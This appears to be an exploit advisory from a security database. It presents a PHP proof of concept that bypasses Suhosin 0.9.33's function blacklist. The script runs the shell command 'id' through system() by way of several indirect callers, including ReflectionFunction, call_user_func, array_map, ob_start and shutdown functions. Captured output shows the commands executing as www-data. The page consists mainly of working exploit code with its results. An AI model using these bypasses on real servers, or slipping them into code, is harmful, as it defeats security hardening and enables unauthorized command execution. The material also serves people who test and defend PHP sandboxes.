Suhosin 0.9.33 blacklist 'system' bypass

2013.03.30
Credit: profexer
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

<?php echo '<pre>Test suhosin.executor.func.blacklist by profexer', "\n\n"; echo "\n\n", 'ReflectionFunction (PHP5):', "\n"; $function = new ReflectionFunction('system'); $function->invoke('id'); echo "\n\n", 'call_user_func (PHP 4, PHP 5):', "\n"; call_user_func('system', 'id'); echo "\n\n", 'call_user_func_array (PHP 4 >= 4.0.4, PHP 5):', "\n"; call_user_func_array('system', array('id')); declare(ticks=1); echo "\n\n", 'register_tick_function (PHP 4 >= 4.0.3, PHP 5):', "\n"; register_tick_function('system', 'id'); unregister_tick_function('system'); echo "\n\n", 'array_map (PHP 4 >= 4.0.6, PHP 5):', "\n"; array_map('system', array('id')); echo "\n\n", 'array_walk (PHP 4, PHP 5):', "\n"; $a = array('id'); array_walk($a, 'system'); echo "\n\n", 'array_filter (PHP 4 >= 4.0.6, PHP 5):', "\n"; $a = array('id'); array_filter($a, 'system'); echo "\n\n", 'ob_start (PHP 4, PHP 5):', "\n"; ob_start('system'); echo 'id'; ob_end_flush(); echo "\n\n", 'register_shutdown_function (PHP 4, PHP 5):', "\n"; register_shutdown_function('system', 'id'); system('id'); ?> --------------------------- ReflectionFunction (PHP5): uid=33(www-data) gid=33(www-data) groups=33(www-data) call_user_func (PHP 4, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) call_user_func_array (PHP 4 >= 4.0.4, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) register_tick_function (PHP 4 >= 4.0.3, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) array_map (PHP 4 >= 4.0.6, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) array_walk (PHP 4, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) array_filter (PHP 4 >= 4.0.6, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) ob_start (PHP 4, PHP 5): uid=33(www-data) gid=33(www-data) groups=33(www-data) register_shutdown_function (PHP 4, PHP 5): Warning: system() has been disabled for security reasons in suhosin.php on line 100500 uid=33(www-data) gid=33(www-data) groups=33(www-data)

References:

https://rdot.org/forum/showthread.php?t=2674


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top